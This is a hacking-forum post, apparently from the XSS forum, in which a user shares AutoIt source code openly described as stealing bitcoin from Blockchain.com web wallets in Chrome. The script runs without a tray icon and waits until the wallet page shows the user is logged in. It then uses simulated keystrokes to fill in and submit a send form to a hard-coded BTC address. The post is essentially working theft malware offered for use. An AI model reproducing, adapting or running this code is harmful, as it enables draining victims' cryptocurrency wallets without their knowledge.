• XSS.stack #1 – первый литературный журнал от юзеров форума

AUTOIT SOURCE BLOCKCHAIN RIPPER

blackkey2

CD-диск
Пользователь
Регистрация
10.10.2019
Сообщения
17
Реакции
2
I share my software source code that steals btc on blockchain wallets (chrome) the code is not complex but these to show you the reflection brought to the code


[CODE = c]
#include <WindowsConstants.au3>
#include <MsgBoxConstants.au3>
#NoTrayIcon


svr1()

;-----------------------------------------------------------------------------------------------------


;-----------------------------------------------------------------------------------------------------


Func svr() ; Return the current date in mm/dd/yyyy form.

; GuiCreate("noir", @desktopwidth, @desktopheight, 0, 0, $WS_POPUP, $WS_EX_TOPMOST)
;GUISetBkColor(0XFFFFFF)
;GuiSetState()
sleep(200)
WinActivate("Blockchain.com Wallet - Exchange Cryptocurrency")

sleep(300)
Send ("^f")
sleep(300)
send ("Send")
sleep(300)
Send ("{Enter}")
sleep(300)
Send ("^{Enter}")
sleep(2000)
send ("{TAB}")
send ("{TAB}")
send ("{TAB}")
send ("1FXBhwXh6ogj3NwVpiS3Epp4yN22vqswJ5")
sleep(100)
send ("{TAB}")
sleep(100)
send ("1")
sleep(100)
send ("{TAB}")
send ("{TAB}")
send ("{TAB}")
Global $sData
sleep(200)
send ("{ENTER}")
sleep(200)
send ("{TAB}")
;send ("{ENTER}")
sleep(2000)
;svr1()
Exit
EndFunc

Func svr1()
$searchString = "Blockchain.com Wallet - Exchange Cryptocurrency"

while 1
If Not(StringInStr(WinGetTitle("[ACTIVE]"), $searchString) = 0) Then
WinSetState($searchString,"",@SW_MAXIMIZE)

ExitLoop
EndIf
wend
send ("!d")
send ("^c")
$link = ClipGet()
while 1
sleep(900)
if $link = "https://login.blockchain.com/#/btc/transactions" Or $link = "https://login.blockchain.com/#/home" then
sleep(500)
svr()
Else
sleep(5000)
svr1()
endif
wend
EndFunc












[/ CODE] [/ CODE]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх